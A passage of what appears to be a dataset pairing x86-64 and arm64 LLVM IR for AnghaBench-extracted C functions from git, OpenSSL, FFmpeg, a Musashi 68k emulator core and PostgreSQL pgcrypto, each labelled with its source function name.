%4 = tail call i64 @bitmap_get(ptr noundef %0, i32 noundef %3) #2
%5 = icmp eq i64 %4, 0
br i1 %5, label %6, label %20
6: ; preds = %2
%7 = load i32, ptr @writer, align 4, !tbaa !5
%8 = load i32, ptr %1, align 4, !tbaa !10
%9 = tail call i64 @kh_get_oid_map(i32 noundef %7, i32 noundef %8) #2
%10 = load i32, ptr @writer, align 4, !tbaa !5
%11 = tail call i64 @kh_end(i32 noundef %10) #2
%12 = icmp slt i64 %9, %11
br i1 %12, label %13, label %18
13: ; preds = %6
%14 = load i32, ptr @writer, align 4, !tbaa !5
%15 = tail call ptr @kh_value(i32 noundef %14, i64 noundef %9) #2
%16 = load i32, ptr %15, align 4, !tbaa !13
%17 = tail call i32 @bitmap_or_ewah(ptr noundef %0, i32 noundef %16) #2
br label %20
18: ; preds = %6
%19 = tail call i32 @bitmap_set(ptr noundef %0, i32 noundef %3) #2
br label %20
20: ; preds = %2, %18, %13
%21 = phi i32 [ 0, %13 ], [ 1, %18 ], [ 0, %2 ]
ret i32 %21
}
declare i32 @find_object_pos(ptr noundef) local_unnamed_addr #1
declare i64 @bitmap_get(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i64 @kh_get_oid_map(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i64 @kh_end(i32 noundef) local_unnamed_addr #1
declare ptr @kh_value(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @bitmap_or_ewah(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @bitmap_set(ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_4__", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"commit", !12, i64 0}
!12 = !{!"TYPE_3__", !7, i64 0}
!13 = !{!14, !7, i64 0}
!14 = !{!"bitmapped_commit", !7, i64 0}
| ; ModuleID = 'AnghaBench/git/extr_pack-bitmap-write.c_add_to_include_set.c'
source_filename = "AnghaBench/git/extr_pack-bitmap-write.c_add_to_include_set.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_4__ = type { i32 }
@writer = common local_unnamed_addr global %struct.TYPE_4__ zeroinitializer, align 4
@llvm.used = appending global [1 x ptr] [ptr @add_to_include_set], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 0, 2) i32 @add_to_include_set(ptr noundef %0, ptr noundef %1) #0 {
%3 = tail call i32 @find_object_pos(ptr noundef %1) #2
%4 = tail call i64 @bitmap_get(ptr noundef %0, i32 noundef %3) #2
%5 = icmp eq i64 %4, 0
br i1 %5, label %6, label %20
6: ; preds = %2
%7 = load i32, ptr @writer, align 4, !tbaa !6
%8 = load i32, ptr %1, align 4, !tbaa !11
%9 = tail call i64 @kh_get_oid_map(i32 noundef %7, i32 noundef %8) #2
%10 = load i32, ptr @writer, align 4, !tbaa !6
%11 = tail call i64 @kh_end(i32 noundef %10) #2
%12 = icmp slt i64 %9, %11
br i1 %12, label %13, label %18
13: ; preds = %6
%14 = load i32, ptr @writer, align 4, !tbaa !6
%15 = tail call ptr @kh_value(i32 noundef %14, i64 noundef %9) #2
%16 = load i32, ptr %15, align 4, !tbaa !14
%17 = tail call i32 @bitmap_or_ewah(ptr noundef %0, i32 noundef %16) #2
br label %20
18: ; preds = %6
%19 = tail call i32 @bitmap_set(ptr noundef %0, i32 noundef %3) #2
br label %20
20: ; preds = %2, %18, %13
%21 = phi i32 [ 0, %13 ], [ 1, %18 ], [ 0, %2 ]
ret i32 %21
}
declare i32 @find_object_pos(ptr noundef) local_unnamed_addr #1
declare i64 @bitmap_get(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i64 @kh_get_oid_map(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i64 @kh_end(i32 noundef) local_unnamed_addr #1
declare ptr @kh_value(i32 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @bitmap_or_ewah(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @bitmap_set(ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_4__", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !8, i64 0}
!12 = !{!"commit", !13, i64 0}
!13 = !{!"TYPE_3__", !8, i64 0}
!14 = !{!15, !8, i64 0}
!15 = !{!"bitmapped_commit", !8, i64 0}
| git_extr_pack-bitmap-write.c_add_to_include_set |
; ModuleID = 'AnghaBench/openssl/crypto/rsa/extr_rsa_mp.c_rsa_multip_info_free.c'
source_filename = "AnghaBench/openssl/crypto/rsa/extr_rsa_mp.c_rsa_multip_info_free.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_4__ = type { i32, i32, i32 }
; Function Attrs: nounwind uwtable
define dso_local void @rsa_multip_info_free(ptr noundef %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 2
%3 = load i32, ptr %2, align 4, !tbaa !5
%4 = tail call i32 @BN_clear_free(i32 noundef %3) #2
%5 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 1
%6 = load i32, ptr %5, align 4, !tbaa !10
%7 = tail call i32 @BN_clear_free(i32 noundef %6) #2
%8 = load i32, ptr %0, align 4, !tbaa !11
%9 = tail call i32 @BN_clear_free(i32 noundef %8) #2
%10 = tail call i32 @rsa_multip_info_free_ex(ptr noundef nonnull %0) #2
ret void
}
declare i32 @BN_clear_free(i32 noundef) local_unnamed_addr #1
declare i32 @rsa_multip_info_free_ex(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 8}
!6 = !{!"TYPE_4__", !7, i64 0, !7, i64 4, !7, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 4}
!11 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/openssl/crypto/rsa/extr_rsa_mp.c_rsa_multip_info_free.c'
source_filename = "AnghaBench/openssl/crypto/rsa/extr_rsa_mp.c_rsa_multip_info_free.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @rsa_multip_info_free(ptr noundef %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 8
%3 = load i32, ptr %2, align 4, !tbaa !6
%4 = tail call i32 @BN_clear_free(i32 noundef %3) #2
%5 = getelementptr inbounds i8, ptr %0, i64 4
%6 = load i32, ptr %5, align 4, !tbaa !11
%7 = tail call i32 @BN_clear_free(i32 noundef %6) #2
%8 = load i32, ptr %0, align 4, !tbaa !12
%9 = tail call i32 @BN_clear_free(i32 noundef %8) #2
%10 = tail call i32 @rsa_multip_info_free_ex(ptr noundef nonnull %0) #2
ret void
}
declare i32 @BN_clear_free(i32 noundef) local_unnamed_addr #1
declare i32 @rsa_multip_info_free_ex(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 8}
!7 = !{!"TYPE_4__", !8, i64 0, !8, i64 4, !8, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 4}
!12 = !{!7, !8, i64 0}
| openssl_crypto_rsa_extr_rsa_mp.c_rsa_multip_info_free |
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_aacdec.c_apply_independent_coupling.c'
source_filename = "AnghaBench/FFmpeg/libavcodec/extr_aacdec.c_apply_independent_coupling.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_18__ = type { ptr, %struct.TYPE_15__ }
%struct.TYPE_15__ = type { ptr }
%struct.TYPE_19__ = type { ptr, ptr }
%struct.TYPE_13__ = type { %struct.TYPE_12__ }
%struct.TYPE_12__ = type { i32 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @apply_independent_coupling], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @apply_independent_coupling(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2, i32 noundef %3) #0 {
%5 = getelementptr inbounds %struct.TYPE_18__, ptr %2, i64 0, i32 1
%6 = load ptr, ptr %5, align 8, !tbaa !5
%7 = sext i32 %3 to i64
%8 = getelementptr inbounds ptr, ptr %6, i64 %7
%9 = load ptr, ptr %8, align 8, !tbaa !11
%10 = load float, ptr %9, align 4, !tbaa !12
%11 = load ptr, ptr %2, align 8, !tbaa !14
%12 = load ptr, ptr %11, align 8, !tbaa !15
%13 = load ptr, ptr %1, align 8, !tbaa !17
%14 = getelementptr inbounds %struct.TYPE_19__, ptr %0, i64 0, i32 1
%15 = load ptr, ptr %14, align 8, !tbaa !19
%16 = getelementptr inbounds %struct.TYPE_13__, ptr %15, i64 1
%17 = load i32, ptr %16, align 4, !tbaa !21
%18 = icmp eq i32 %17, 1
%19 = zext i1 %18 to i32
%20 = shl nuw nsw i32 1024, %19
%21 = load ptr, ptr %0, align 8, !tbaa !25
%22 = load ptr, ptr %21, align 8, !tbaa !26
%23 = tail call i32 %22(ptr noundef %13, ptr noundef %12, float noundef %10, i32 noundef %20) #1
ret void
}
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 8}
!6 = !{!"TYPE_18__", !7, i64 0, !10, i64 8}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"TYPE_15__", !7, i64 0}
!11 = !{!7, !7, i64 0}
!12 = !{!13, !13, i64 0}
!13 = !{!"float", !8, i64 0}
!14 = !{!6, !7, i64 0}
!15 = !{!16, !7, i64 0}
!16 = !{!"TYPE_16__", !7, i64 0}
!17 = !{!18, !7, i64 0}
!18 = !{!"TYPE_17__", !7, i64 0}
!19 = !{!20, !7, i64 8}
!20 = !{!"TYPE_19__", !7, i64 0, !7, i64 8}
!21 = !{!22, !24, i64 0}
!22 = !{!"TYPE_13__", !23, i64 0}
!23 = !{!"TYPE_12__", !24, i64 0}
!24 = !{!"int", !8, i64 0}
!25 = !{!20, !7, i64 0}
!26 = !{!27, !7, i64 0}
!27 = !{!"TYPE_14__", !7, i64 0}
| ; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_aacdec.c_apply_independent_coupling.c'
source_filename = "AnghaBench/FFmpeg/libavcodec/extr_aacdec.c_apply_independent_coupling.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @apply_independent_coupling], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @apply_independent_coupling(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2, i32 noundef %3) #0 {
%5 = getelementptr inbounds i8, ptr %2, i64 8
%6 = load ptr, ptr %5, align 8, !tbaa !6
%7 = sext i32 %3 to i64
%8 = getelementptr inbounds ptr, ptr %6, i64 %7
%9 = load ptr, ptr %8, align 8, !tbaa !12
%10 = load float, ptr %9, align 4, !tbaa !13
%11 = load ptr, ptr %2, align 8, !tbaa !15
%12 = load ptr, ptr %11, align 8, !tbaa !16
%13 = load ptr, ptr %1, align 8, !tbaa !18
%14 = getelementptr inbounds i8, ptr %0, i64 8
%15 = load ptr, ptr %14, align 8, !tbaa !20
%16 = getelementptr inbounds i8, ptr %15, i64 4
%17 = load i32, ptr %16, align 4, !tbaa !22
%18 = icmp eq i32 %17, 1
%19 = zext i1 %18 to i32
%20 = shl nuw nsw i32 1024, %19
%21 = load ptr, ptr %0, align 8, !tbaa !26
%22 = load ptr, ptr %21, align 8, !tbaa !27
%23 = tail call i32 %22(ptr noundef %13, ptr noundef %12, float noundef %10, i32 noundef %20) #1
ret void
}
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 8}
!7 = !{!"TYPE_18__", !8, i64 0, !11, i64 8}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"TYPE_15__", !8, i64 0}
!12 = !{!8, !8, i64 0}
!13 = !{!14, !14, i64 0}
!14 = !{!"float", !9, i64 0}
!15 = !{!7, !8, i64 0}
!16 = !{!17, !8, i64 0}
!17 = !{!"TYPE_16__", !8, i64 0}
!18 = !{!19, !8, i64 0}
!19 = !{!"TYPE_17__", !8, i64 0}
!20 = !{!21, !8, i64 8}
!21 = !{!"TYPE_19__", !8, i64 0, !8, i64 8}
!22 = !{!23, !25, i64 0}
!23 = !{!"TYPE_13__", !24, i64 0}
!24 = !{!"TYPE_12__", !25, i64 0}
!25 = !{!"int", !9, i64 0}
!26 = !{!21, !8, i64 0}
!27 = !{!28, !8, i64 0}
!28 = !{!"TYPE_14__", !8, i64 0}
| FFmpeg_libavcodec_extr_aacdec.c_apply_independent_coupling |
; ModuleID = 'AnghaBench/Provenance/Cores/Yabause/yabause/src/musashi/extr_m68kopac.c_m68k_op_adda_32_pd.c'
source_filename = "AnghaBench/Provenance/Cores/Yabause/yabause/src/musashi/extr_m68kopac.c_m68k_op_adda_32_pd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@AX = dso_local local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind uwtable
define dso_local void @m68k_op_adda_32_pd() local_unnamed_addr #0 {
%1 = tail call i64 (...) @OPER_AY_PD_32() #2
%2 = load i64, ptr @AX, align 8, !tbaa !5
%3 = add nsw i64 %2, %1
%4 = tail call i64 @MASK_OUT_ABOVE_32(i64 noundef %3) #2
store i64 %4, ptr @AX, align 8, !tbaa !5
ret void
}
declare i64 @OPER_AY_PD_32(...) local_unnamed_addr #1
declare i64 @MASK_OUT_ABOVE_32(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/Provenance/Cores/Yabause/yabause/src/musashi/extr_m68kopac.c_m68k_op_adda_32_pd.c'
source_filename = "AnghaBench/Provenance/Cores/Yabause/yabause/src/musashi/extr_m68kopac.c_m68k_op_adda_32_pd.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@AX = common local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind ssp uwtable(sync)
define void @m68k_op_adda_32_pd() local_unnamed_addr #0 {
%1 = tail call i64 @OPER_AY_PD_32() #2
%2 = load i64, ptr @AX, align 8, !tbaa !6
%3 = add nsw i64 %2, %1
%4 = tail call i64 @MASK_OUT_ABOVE_32(i64 noundef %3) #2
store i64 %4, ptr @AX, align 8, !tbaa !6
ret void
}
declare i64 @OPER_AY_PD_32(...) local_unnamed_addr #1
declare i64 @MASK_OUT_ABOVE_32(i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| Provenance_Cores_Yabause_yabause_src_musashi_extr_m68kopac.c_m68k_op_adda_32_pd |
; ModuleID = 'AnghaBench/postgres/contrib/pgcrypto/extr_pgp-mpi.c_pgp_mpi_alloc.c'
source_filename = "AnghaBench/postgres/contrib/pgcrypto/extr_pgp-mpi.c_pgp_mpi_alloc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_4__ = type { i32, i32, ptr }
@.str = private unnamed_addr constant [45 x i8] c"pgp_mpi_alloc: unreasonable request: bits=%d\00", align 1
@PXE_PGP_CORRUPT_DATA = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @pgp_mpi_alloc(i32 noundef %0, ptr nocapture noundef writeonly %1) local_unnamed_addr #0 {
%3 = icmp ugt i32 %0, 65535
br i1 %3, label %4, label %7
4: ; preds = %2
%5 = tail call i32 @px_debug(ptr noundef nonnull @.str, i32 noundef %0) #2
%6 = load i32, ptr @PXE_PGP_CORRUPT_DATA, align 4, !tbaa !5
br label %15
7: ; preds = %2
%8 = add nuw nsw i32 %0, 7
%9 = lshr i32 %8, 3
%10 = add nuw nsw i32 %9, 16
%11 = tail call ptr @px_alloc(i32 noundef %10) #2
store i32 %0, ptr %11, align 8, !tbaa !9
%12 = getelementptr inbounds %struct.TYPE_4__, ptr %11, i64 0, i32 1
store i32 %9, ptr %12, align 4, !tbaa !12
%13 = getelementptr inbounds i32, ptr %11, i64 16
%14 = getelementptr inbounds %struct.TYPE_4__, ptr %11, i64 0, i32 2
store ptr %13, ptr %14, align 8, !tbaa !13
store ptr %11, ptr %1, align 8, !tbaa !14
br label %15
15: ; preds = %7, %4
%16 = phi i32 [ %6, %4 ], [ 0, %7 ]
ret i32 %16
}
declare i32 @px_debug(ptr noundef, i32 noundef) local_unnamed_addr #1
declare ptr @px_alloc(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 0}
!10 = !{!"TYPE_4__", !6, i64 0, !6, i64 4, !11, i64 8}
!11 = !{!"any pointer", !7, i64 0}
!12 = !{!10, !6, i64 4}
!13 = !{!10, !11, i64 8}
!14 = !{!11, !11, i64 0}
| ; ModuleID = 'AnghaBench/postgres/contrib/pgcrypto/extr_pgp-mpi.c_pgp_mpi_alloc.c'
source_filename = "AnghaBench/postgres/contrib/pgcrypto/extr_pgp-mpi.c_pgp_mpi_alloc.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [45 x i8] c"pgp_mpi_alloc: unreasonable request: bits=%d\00", align 1
@PXE_PGP_CORRUPT_DATA = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @pgp_mpi_alloc(i32 noundef %0, ptr nocapture noundef writeonly %1) local_unnamed_addr #0 {
%3 = icmp ugt i32 %0, 65535
br i1 %3, label %4, label %7
4: ; preds = %2
%5 = tail call i32 @px_debug(ptr noundef nonnull @.str, i32 noundef %0) #2
%6 = load i32, ptr @PXE_PGP_CORRUPT_DATA, align 4, !tbaa !6
br label %15
7: ; preds = %2
%8 = add nuw nsw i32 %0, 7
%9 = lshr i32 %8, 3
%10 = add nuw nsw i32 %9, 16
%11 = tail call ptr @px_alloc(i32 noundef %10) #2
